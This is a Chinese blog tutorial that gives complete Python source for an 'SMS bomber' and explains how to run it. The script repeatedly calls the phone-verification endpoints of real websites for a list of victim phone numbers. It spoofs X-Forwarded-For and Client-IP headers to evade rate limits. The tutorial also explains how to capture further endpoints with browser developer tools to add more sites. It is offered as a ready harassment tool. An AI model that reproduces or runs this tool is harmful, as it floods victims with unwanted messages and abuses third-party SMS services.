开篇寄语
此前,伯衡君介绍过不少短信轰炸机,同时也介绍了它的相关制作原理,今天伯衡君就来给大家演示一下如何轻松用python这门编程语言来做制作一个短信轰炸机,模板都有哦,只需要稍微添加的网站和要袭击的手机号码就可以了,咱们开始吧。
前情提要
内容详情
1.制作原理
其实短信轰炸机的原理就是利用各个网络平台,有一个输入手机号,获取验证码这个功能,只需要写程序遍历各个网站就可以了。
2.简单源码
#!/usr/bin/python # -*- coding: utf-8 -*- import requests import random import socket import struct import time def init_api(phone): api_list = [ ["http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=", 60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"], ["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"}, "http://jrh.financeun.com/Login/jrwLogin?web=jrw"], ] return api_list # 短信初始化 class init_sms(object): """docstring for init_sms""" def __init__(self): super(init_sms, self).__init__() self.sms_list = [] self.intervalInfo = 0 def init_bomb(self,api_list): for x in api_list: self.intervalInfo += 1 self.sms_list.append(sms_object(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo)) return self.sms_list class sms_object(object): """docstring for sms_object""" # __var 私有成员变量 def __init__(self, url, interval, info, method, params, others, intervalInfo): super(sms_object, self).__init__() self.__url = url self.__interval = interval self.__info = info self.__intervalInfo = intervalInfo self.__method = method self.__params = params self.__others = others def getUrl(self): return self.__url def getInfo(self): return self.__info def getParams(self): return self.__params def getMethod(self): return self.__method def getOthers(self): return self.__others def getInterval(self): return self.__interval def getintervalInfo(self): return self.__intervalInfo def setintervalInfo(self, intervalInfo): self.__intervalInfo = intervalInfo class Bomb(object): """docstring for Bomb""" def __init__(self): super(Bomb, self).__init__() self.HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36', 'Referer': 'http://10.13.0.1', 'accept-encoding': 'gzip, deflate, br', 'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2', 'cache-control': 'max-age=0', "X-Requested-With": "XMLHttpRequest" } def send(self, SMS): # return "SUCCESS" IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) self.HEADERS['X-FORWARDED-FOR'] = IP self.HEADERS['CLIENT-IP'] = IP try: session = requests.Session() if SMS.getOthers() != "": session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS) self.HEADERS['Referer'] = SMS.getOthers() if SMS.getMethod() == "GET": req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS) else: req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS) # print(req.url) except Exception as e: return str(e) return "已发送" if __name__ == '__main__': # 手机号列表,如 ["12345678987","98765432123"] phoneList=[] bombNum=1 while True: # 死循环 currTime=0 print("\n第",bombNum,"次轰炸!!!","\n") bombNum+=1 for phone in phoneList: #遍历每个手机号 api_list=init_api(phone) # API接口初始化 print("\n电话:", phone) sms_list = init_sms().init_bomb(api_list=api_list) switchOn = Bomb() i = 0 currTime = 0 while True: currTime += 1 # print(currTime) for x in sms_list: if x.getintervalInfo() == 0: i += 1 info = switchOn.send(x) print(str(i) + "." + x.getInfo() + " " + info) x.setintervalInfo(x.getInterval()) else: x.setintervalInfo(x.getintervalInfo() - 1) time.sleep(5) #设置两次轰炸的间隔时间,单位是秒 if i==len(api_list): break
3.如何使用
只需要在模板下方的手机号列表,按例子填写手机号就可以了,比如用pycharm运行这套源码,在这里填写出手机号码,如下图所示:
点击运行后,就开始陆续发送验证码了,如下图所示:
4.如何自定义增加发送网站
目前该脚本只有两个发送短信的网站,大家可以自行寻找一番,那么如何寻找添加呢,伯衡君就以金融圈为例好了。
["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"}, "http://jrh.financeun.com/Login/jrwLogin?web=jrw"]
首先是打开金融圈这个网站,推荐用firefox浏览器,比较容易抓包。
调出调试窗口,一般是按下f12出来,之后找到短信快捷登录,右侧找到Network。
然后,任意在输入框输入一个手机号,点击获取验证码,注意观察右侧出现的文件,如下图所示:
随后,把这个链接咱们复制下来放在下面观察:
https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=15303257898&mbid=197858&check=3
和伯衡君模板对比一下:
"http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"}
是不是豁然开朗?
其他类似网站就由自己来寻找吧。
温馨提示
因为很多网站有了那种文字验证码或者滑动验证码,一般是无法成功的,原因就是在提交地址的时候多了一个验证码内容,所以要避免这个问题,则需要另外高深的知识了,本篇就不再多做赘述了。
ArrayArrayArray- 我的微信
- 微信扫一扫加好友
- 我的微信公众号
- 扫描关注公众号